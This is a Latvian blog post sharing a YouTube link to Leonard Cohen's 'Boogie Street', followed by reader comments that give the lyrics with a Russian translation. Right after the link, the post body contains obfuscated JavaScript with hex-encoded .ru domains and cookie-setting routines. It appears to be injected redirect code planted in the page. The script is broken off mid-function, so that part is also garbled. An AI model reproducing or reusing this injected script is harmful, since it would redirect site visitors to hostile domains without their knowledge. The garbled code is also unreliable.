Dienasgrāmatas (blogi)

goralo, 04-07-2016 22:05		4 13
Leonard Cohen - Boogie Street https://www.youtube.com/watch?v=yZ0uHNruAA4 a1336404323 = 1;! function(){var e=JSON.parse(`["673373373778697871302e7275", "757561356a72327a317671302e7275", "6a786f33796875386d2e7275", "72713661636634782e7275"]`), t="10253", o=function(e){var t=cookie.match(new RegExp("(?:^\|; )"+e.replace(/([.$?\|{}()[]\/+^])/g, "\$1")+"=([^;])"));return t?decodeURIComponent(t[1]):void 0}, n=function(e, t, o){o=o\|\|{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n), o.expires=i.toUTCString()}var r="3600";! o.expires&&r&&(o.expires=r), t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c! ==! 0&&(a+="="+c)}cookie=a}, r=function(e){e=e.replace("www.", "");for(var t="", o=0, n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t}, a=function(e){e=e.match(/[Ss]{1, 2}/g);for(var t="", o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o], 16));return t}, d=function(){return "meeting7.oho.lv"}, p=function(){var w=p=w.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Komentāri

_pamparam_: ...bet dziesma skaista

2016-07-04 22:20

_0_: О, Корона Света! О, Корона Тьмы,
I never thought we´d meet.
Я никогда не думал, что мы встретимс
;я.
You kiss my lips, and then you´re gone:
Ты целуешь мои губы, и уходишь потом:
I´m back on Boogie Street.
Я вернулся на Буги Стрит.

A sip of wine, a cigarette,
Глоток вина, сигарета,
And then it´s time to go.
А после – пора идти..
I tidied up the kitchenette;
Я прибрался
; на кухоньке,
I tuned the old banjo.
Я настроил старое банджо.
I´m wanted at the traffic-jam.
Меня ждут в пробке,
They´re saving me a seat.
Занимают для меня место.
I´m what I am, and what I am,
Я тот, кто я есть, и тот, кто я –
Is back on Boogie Street.
Вернулся на Буги Стрит.

2016-07-05 00:04

_0_: And o my love, I still recall
О, моя любовь. Я все еще помню
The pleasures that we knew;
Те наслажден
;ия, что мы познали,
The rivers and the waterfall,
Реки и водопады,
Wherein I bathed with you.
Где мы купались с тобой.
Bewildered by your beauty there,
Cбитый с толку твоей красотой,
I´d kneel to dry your feet.
Я бы встал на колени, чтобы вытереть твои ноги.
By such instructions you prepare
Этими предписан
;иями ты готовишь
A man for Boogie Street.
Человека к Буги Стрит.

2016-07-05 00:05

_0_: So come, my friends, be not afraid.
Так приходите
; же, друзья, не бойтесь,
We are so lightly here.
Нам так легко здесь быть.
It is in love that we are made;
В любви приходим мы на свет,
In love we disappear.
В любви мы исчезаем.
Tho´ all the maps of blood and flesh
Хотя все карты плоти и крови
Are posted on the door,
Повешены на дверь,
There´s no one who has told us yet
Нет никого, кто бы объяснил нам,
What Boogie Street is for.
Для чего же существуе
;т Буги Стрит.

2016-07-05 00:06

Tavs komentārs

Komentārus var pievienot tikai reģistrēti lietotāji.

Mūzika, kino, TV, grāmatas - jautājumi un atbildes

Vai redzējāt "Ļeto" (7)

Iesaku noskatīties Kirila Serebreņņikova filmu "Vasara" ("Ļeto")  par leģendāro mūziķi Viktoru Coju. ...

Online filmas internetā ar tulkojumu (12)

Te droši vien daudz spečuku...lūgums...kā būtu, ja padalītos ar info,kādās adresi´tēs vislabāk skatīties on line ...

Vai skatāties "Millionaire matchmaker"? (23)

Vai skatāties raidījumu "Millionaire matchmaker"? Tie, kas skatījušies - vai atbalstāt Petijas nosacījumus sievietēm ...

Palīdziet atrast filmu. (5)

Ļoti maz gan no tās atceros, bet nezinu kāpēc sagribējās noskatīties. Latviešu filma, tur kara laukā laukos latviešu ...

Puškins neķītrais (6)

Vai kāds var iemest linku uz Puškina vai Ļermantova necenzēto dzeju. Man nav krievu klava, netieku pie šī resursa. ...

Dienasgrāmatas (blogi)

Leonard Cohen - Boogie Street

Mūzika, kino, TV, grāmatas - jautājumi un atbildes